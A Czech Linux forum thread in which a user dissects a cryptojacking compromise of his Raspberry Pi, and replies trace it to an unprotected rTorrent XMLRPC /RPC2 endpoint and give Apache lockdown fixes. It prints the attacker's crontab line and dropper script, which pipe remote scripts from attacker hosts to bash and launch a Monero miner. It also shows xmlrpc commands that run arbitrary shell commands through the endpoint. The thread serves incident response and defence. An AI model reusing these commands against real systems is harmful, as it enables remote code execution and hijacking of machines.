Portál AbcLinuxu, 23. dubna 2024 08:01


Dotaz: Hacknutý raspbian

9.1.2018 19:59 Zapik | skóre: 5
Hacknutý raspbian
Přečteno: 1553×
Odpovědět | Admin
Zdravím, evidentně jsem měl nezvanou návštěvu na mém PI. Co se stalo: přestali mi chodit naplánované úlohy z cronu.

Při bližším ohledání jsem narazil na následující: V home adresáři jsem objevil dva soubory .sshd a .sshd.x64. Oba to byly ELF, ale pro platformy intel. (takže pochopitelně nešli spustit). Dále jsem měl přepsaný crontab a proto jsem na to taky poměrně brzo přišel. Obsah crontab:
1 * * * * wget -O - lochjol.com/cmd2|bash;

Obsah skriptu cmd2 (ten jsem na RPi nenašel, musel jsem ho stáhnout z uvedeného cíle)
wget -V && (crontab -l|grep -v -e lochjol -e internetres ;echo '1 * * * * wget -q -O- http://internetresearch.is/robots.txt 2>/dev/null|bash > /dev/null
crontab -l|grep internetresearch||curl -V|(crontab -l|grep -v -e lochjol -e internetres ;echo '1 * * * * curl -s http://internetresearch.is/robots.txt 2>
touch .test||cd /dev/shm||cd /tmp 2>/dev/null
>$MAIL&&chmod 000 $MAIL
rm .test 2>/dev/null
rm sshd* 2>/dev/null
pkill -9 xmrig 2>/dev/null
pid=$(pgrep -f -o 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8')
test $pid && pgrep -f 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8' | grep -vw $pid | xargs -r kill -9
pgrep -f tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8 && exit 0
wget --no-check-certificate https://transfer.sh/MBBq0/sshd -O .sshd||curl -k https://transfer.sh/MBBq0/sshd -o .sshd
wget --no-check-certificate https://transfer.sh/12MJka/sshd.i686 -O .sshd.i686||curl -k https://transfer.sh/12MJka/sshd.i686 -o .sshd.i686
chmod +x .sshd .sshd.i686
pgrep -f hashvault||./.sshd -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz9
pgrep -f hashvault||./.sshd.i686 -o pool.monero.hashvault.pro:5555 -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoC

A otázka je jak se mi tam dostali. Nezdá se mi, že by byl útok bůhví jak sofistikovaný, protože kopírovat x86 ELF na ARM platformu je školácká chyba, takže to klaplo an něco tuctového a automatizovatelného. Logy se nezdají být ani upravované a ani nejsou smazané, takže tady jsou zanechané stopy:

/var/log/syslog:
Jan  8 09:21:18 pi crontab[11124]: (pi) DELETE (pi)
Jan  8 09:21:18 pi crontab[11127]: (pi) REPLACE (pi)
Jan  8 09:21:18 pi crontab[11129]: (pi) LIST (pi)
Jan  8 09:22:01 pi cron[356]: (pi) RELOAD (crontabs/pi)
Jan  8 10:01:01 pi CRON[13050]: (pi) CMD (wget -O - lochjol.com/cmd2|bash;)
Jan  8 10:01:22 pi cron[356]: sendmail: cannot locate host smtp.gmail.com smtp.freemail.example smtp.provider.example: Name or service not known
Jan  8 10:01:22 pi cron[356]: sendmail: could not send mail (account default from /etc/msmtprc)
Jan  8 10:01:22 pi CRON[13046]: (pi) MAIL (mailed 5379 bytes of output but got status 0x0044 from MTA#012)


Mailování nemám nastavené, proto to padlo do chyby.

V logu apache /var/log/apache2/access.log jsem našel toto:
185.130.104.198 - - [08/Jan/2018:09:10:11 +0100] "POST /RPC2 HTTP/1.1" 200 329 "-" "NYU"
To je zajímavá hláška a neumím ji vysvětlit. Uvedená IP adresa je dost "profláklá".

V logu LAST nic není, takže se nezdá, že by přišli standardně přes přihlášení uživatele. Nikde kromě adresáře uživatele PI jsem nic nenašel. Verifikace souborů prošla bez chyby. Chápu, že dokud neudělám čistou instalaci, tak si nemůžu být ničím jistý, ale vzhledem k tomu, kolik stop po sobě nechali a že se vůbec nesnažili nic skrývat mě vede k tomu, že buď to byl automat a nebo nějaký skriptkiddie.

Na serveru nemám prakticky žádná důležitá a citlivá data, takže to asi ještě nechám chvíli tak a budu to zkoumat. Co si o tom myslíte?

Ještě doplním, RPi3
PRETTY_NAME="Raspbian GNU/Linux 9 (stretch)"
DíkyLinux pi.zapadlo.local 4.9.70-v7+ #1068 SMP Mon Dec 18 22:12:55 GMT 2017 armv7l GNU/Linux
Aktualizace k okamžiku útoku všechny nainstalované.

Nástroje: Začni sledovat (1) ?Zašle upozornění na váš email při vložení nového komentáře.

Odpovědi

9.1.2018 20:30 NN
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin
Je to miner pro Monero a s velkou pravdepodobnosti pres otevrene SSH a slabe heslo => reinstall.
9.1.2018 20:32 pavele
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin
Přihlášení na ssh heslem, přihlášení root povolen? Jaké tam běží služby - web?
9.1.2018 20:41 Zapik | skóre: 5
Rozbalit Rozbalit vše Re: Hacknutý raspbian
z venku jsou dostupné http/https/ssh/ftp. přihlášení na roota není dovolené. Heslo uživatele (jediného) sice nijak dlouhé, ale neslovníkové (aspoň si myslím). Samo, že jsem ho změnil. Otázka je jestli skutečně přišli přes ssh, protože v lozích není ani stopy po nějakém takovém pokusu. Ano, mohli logy modifikovat, ale proč se potom nesnažili to udělat i u jiných logů.

11.1.2018 03:13 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Napíšeš pro statistiku, co to bylo původně za heslo?
9.1.2018 21:05 petr_p | skóre: 59 | blog: pb
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin

Měnili crontab uživatele pi. Když budeme předpokládat, že neměli superuživatele, pak to znamená, že se tam dostali přes proces, který patří uživateli pi. Copak vám běží pod uživatelem pi? Co obsahují logy démonů, které běží uživatelem pi, nebo které mohou měnit UID na uživatele pi?

Co to URL v protokolu httpd. Copak se skrývá pod ním za skript? Není děravý?

9.1.2018 22:07 R
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin
Videl som uz par hacknutych Debianov a vzdy to bolo cez nejaky deravy web. Bud to bol nejaky open-source system nainstalovany bez balika a davno nepouzivany a zabudnuty alebo web od externej firmy plny brutalnych dier (napr. upload lubovolnych suborov, trivialne hesla).
Jendа avatar 10.1.2018 07:56 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin
A co je tedy na té adrese /RPC2, když to vrátilo 200 a ne 404?
Já to s tou denacifikací Slovenska myslel vážně.
10.1.2018 18:52 Jindřich Makovička | skóre: 17
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Jede tam rtorrent RPC.
10.1.2018 13:25 Ansgar
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Odpovědět | | Sbalit | Link | Blokovat | Admin
I have seen this happen with unsecured XMLRPC endpoints connected to rTorrent.

Since your web server responds 200 to the RPC request, you have an XMLRPC server responding to global requests at /RPC2 through Apache (i.e. from anyone on the web). At the same time, perhaps you have rTorrent running responding to XMLRPC requests (used for e.g. common web frontends for rTorrent such as ruTorrent).

You should lock down that /RPC2 endpoint to only answer to local requests as soon as possible.

If you have the execution log configured in rTorrent (log.execute set in your .rtorrent.rc) you can see more information on the exact requests sent by the attacker. It is likely commands to send information back to the attacker with information on whether you have cURL and/or wget installed, along with deleting your old crontab, replacing it with the one you saw.

If this is the case, I would assume that the crontab entry that was changed was the one corresponding to the user currently running rTorrent.

If you want to retrieve your old crontab entries, you could try looking through /var/log/syslog (and its rotated older copies):
# zgrep '(pi) CMD' /var/log/syslog*
If it is not rTorrent listening to RPC, it is probably some other service that happily executes the payload given through the RPC call.
10.1.2018 18:27 Zapik | skóre: 5
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Yes, you are right. On this computer I use rtorrent and RTGUI. In config apache I have:
Alias /rtgui /usr/share/rtgui/www
SCGIMount /RPC2 127.0.0.1:5000
Directory /usr/share/rtgui/www
        Options +FollowSymLinks
        AllowOverride None
        Require all granted
        Allow from 192.168.1.0/24
        Allow from 127.0.0.0/8
        Allow from 2001:470:5c44::0/64
        deny from all
    DirectoryIndex index.php
/Directory
I think that it is safe enough. (But no). How Do I close RPC only from local site?

Thanks Petr
10.1.2018 18:42 Jindřich Makovička | skóre: 17
Rozbalit Rozbalit vše Re: Hacknutý raspbian
You probably need to add Location "/RPC2", and also specify the access controls for it, see https://httpd.apache.org/docs/2.4/mod/core.html#location .
10.1.2018 22:40 Ansgar
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Exactly, adding a section like
<Location /RPC2>
    Require local
</Location>
somewhere after where the SCGIMount has been defined should lock access to only local connections.

(The above assumes Apache 2.4. The syntax for Apache 2.2 is slightly different.)

The instructions one finds when searching for rTorrent and XMLRPC are from the rTorrent wiki at GitHub: RPC Setup XMLRPC, and currently do not mention lockdown in any more detail than a tiny remark in the "Other notes" section, saying
Also make sure the /RPC2 location is properly protected.
There is likely a very large amount of vulnerable machines due to these instructions, so it just seems natural that malware writers would look for the /RPC2 endpoint and trying rTorrent commands when scanning the net.


If someone wants to check for the vulnerability themselves, having rTorrent listening to RPC requests on localhost/RPC2, one can (on Debian-based systems, at least) install the libxmlrpc-core-c3-dev package which comes with a CLI for sending XMLRPC requests named xmlrpc. You can run this against your local machine:
$ xmlrpc localhost/RPC2 system.listMethods
Result:

Array of 963 items:
  Index  0 String: 'system.listMethods'
  ...
One can even execute arbitrary commands using the execute call:
$ xmlrpc localhost/RPC2 execute ls
Result:

64-bit integer: 0
Not too exciting: however, if one has enabled the execution log one would in that now see the output of the ls command run, so the command actually executed on the local machine. From there it is a small step to do things like:
$ xmlrpc localhost/RPC2 execute -- sh -c "echo 'Now you have a shell and can do what you want in here, like replacing the crontab for the user, ping home, insert ransomware, etc.'"
Result:

64-bit integer: 0
A variation of this was probably what the RPC request noted in the initial post contained. Scary stuff, but if it is locked down to localhost only, things might be OK (beware of shared hosts, though).

If one however get this result even when running against the computer remotely, then it is just a matter of time until someone scans the machine and finds this issue.

With the correct access configuration, a remote call should rather yield something like:
$ xmlrpc $YOUR_HOST/RPC2 system.listMethods
Failed.  Call failed.  HTTP response code is 403, not 200.  (XML-RPC fault code -504)
It is not a bad idea to run rTorrent as a separate less privileged user to mitigate the risk of e.g. losing private SSH keys, being exposed to ransomware, etc.
11.1.2018 01:31 Lupus Dei
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Ahoj! Mame rovnaky problem a tiez rTorrent xD Tento vlakno je len jedinym zdrojom informacii o probleme v Internet.

I believe there are hundreds or thousands of servers hacked, due to VERY popular tutorials how to install rTorrent @ Linux without any warning of unsecured RPC2. According to available information, all hacks were made on 8-10 Jan 2018.

The miner appears in the home directory of user that has rTorrent launched by. The malicious requests were made from: 62.210.152.47 (FR) 185.103.110.70 (FI / RU) 185.130.104.198 (RU) Looks like other hacked VPS, maybe Joomla happens.

>It is not a bad idea to run rTorrent as a separate less privileged user It's not a bad idea to have a separate user for any daemon or website.

Regards
16.1.2018 21:27 Zapik | skóre: 5
Rozbalit Rozbalit vše Re: Hacknutý raspbian
Hello, I had to reinstall server - for confident. I use rtorrent under separate user without any privilege and local log in. In Apache config I insert:

SCGIMount /RPC2 127.0.0.1:5000
Location /RPC2
        Allow from 127.0.0.0/8
	Allow from  ::1/128
	deny from all
/Location

and I allow use RPC2 only from localhost. I hope it is safe enough.

Založit nové vláknoNahoru

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.